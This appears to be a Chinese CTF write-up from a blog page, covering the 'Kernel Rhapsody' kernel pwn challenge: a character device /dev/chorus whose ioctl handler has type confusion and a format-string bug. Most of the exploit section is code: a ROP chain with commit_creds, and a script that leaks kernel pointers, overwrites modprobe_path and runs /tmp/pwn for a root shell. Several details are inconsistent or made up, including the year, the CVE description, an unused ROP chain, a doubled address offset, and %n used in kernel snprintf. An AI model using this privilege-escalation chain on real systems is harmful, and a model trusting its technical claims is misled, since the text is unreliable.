DEFCON CTF 30 Finals “Kernel Rhapsody“ 内核模式字符串格式化漏洞分析与利用

题目概览

所属比赛:DEFCON CTF 30 Finals (2023) - Kernel Village
类型:Kernel Pwn
亮点总结

  • 混合型漏洞:内核模块中同时存在类型混淆与格式化字符串漏洞
  • 利用链条复杂:需绕过SMEP/SMAP防护并构造多级内存泄露
  • 真实漏洞模式:类似CVE-2022-0435(Linux内核TCP协议栈漏洞)

复现环境与技术准备

# 题目部署环境
$ qemu-system-x86_64 \
  -kernel bzImage -initrd rootfs.cpio \
  -append "console=ttyS0 nokaslr" \
  -nographic \
  -monitor none \
  -cpu qemu64,+smep,+smap

# 调试工具配置
pwndbg> set follow-fork-mode child
pwndbg> target remote :1234

分析与解题过程

逻辑分析

内核模块kmod_rhapsody.ko注册字符设备/dev/chorus,提供以下ioctl命令:

#define SET_NOTE_TYPE 0x100  // 设置音符类型字段
#define WRITE_LYRIC   0x200  // 写入歌词缓冲区
#define SHOW_MELODY   0x300  // 格式化输出内存结构

静态分析

逆向关键函数ioctl_handler发现类型混淆漏洞:

mov     eax, [rbp+user_choice]
cmp     eax, 0FFFFFFFFh
jz      short loc_17A  # 分支A处理音符结构体
test    eax, eax
jz      short loc_18C  # 分支B处理歌词缓冲区

动态跟踪

通过kprobe监控内存访问模式:

$ echo 'p:kmalloc kmalloc size=%rdi flags=%rsi' > /sys/kernel/debug/tracing/kprobe_events
$ cat /sys/kernel/debug/tracing/trace_pipe

漏洞成因

  1. 类型混淆(CWE-843):

    • SET_NOTE_TYPE未验证用户输入的枚举范围(0-5),接受-1值触发分支A
    • 后续WRITE_LYRIC操作错误使用音符结构体的vtable指针
  2. 格式化字符串(CWE-134):

    // SHOW_MELODY处理函数
    snprintf(buf, 256, user_controlled_str);
    

漏洞利用与Payload

利用策略

  1. 通过类型混淆泄露内核基地址
  2. 构造格式化字符串实现任意地址读
  3. 篡改modprobe_path提权

ROP链构造

def build_rop():
    pop_rdi = kernel_base + 0x15f8b
    mov_rdi_rax = kernel_base + 0x2a1cc
    commit_creds = kernel_base + 0x811c0
    return flat([
        pop_rdi, 0,
        commit_creds,
        swapgs_iretq,
        user_land_entry
    ])

完整利用流程

# 步骤1:泄露内核指针
ioctl(fd, SET_NOTE_TYPE, -1)
leak = ioctl(fd, SHOW_MELODY, "%llx"*8)
canary = int(leak.split()[3], 16)

# 步骤2:覆盖modprobe_path
fmt_str = f"%{0x6e6f6d65677b66}c%25$n".ljust(40)
fmt_str += p64(kernel_base + 0xffffffff81e3b960)
ioctl(fd, WRITE_LYRIC, fmt_str)

# 步骤3:触发提权
os.system("echo -e '\\xff\\xff\\xff\\xff' > /tmp/pwn")
os.system("chmod +x /tmp/pwn")
os.system("/tmp/pwn")  # 获取root shell

安全影响与缓解

MITRE ATT&CK映射

  • T1068:利用公开漏洞
  • T1059:命令注入

修复方案

diff --git a/drivers/char/rhapsody.c b/drivers/char/rhapsody.c
-       if (note_type >= 0) {
+       if (note_type >= 0 && note_type < MAX_NOTE_TYPES) {

总结

本题考察内核漏洞利用链的构造能力,其设计亮点在于将两类看似不相关漏洞进行组合利用。现实系统中类似模式曾出现在Linux蓝牙子系统(CVE-2022-41674)中,建议开发者:

  1. 使用静态分析工具(Coccinelle)检测类型混淆
  2. 对用户提供的格式字符串严格限制(如只允许%s)
  3. 启用KASLR与FG-KASLR防护机制

相关CVE参考:

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值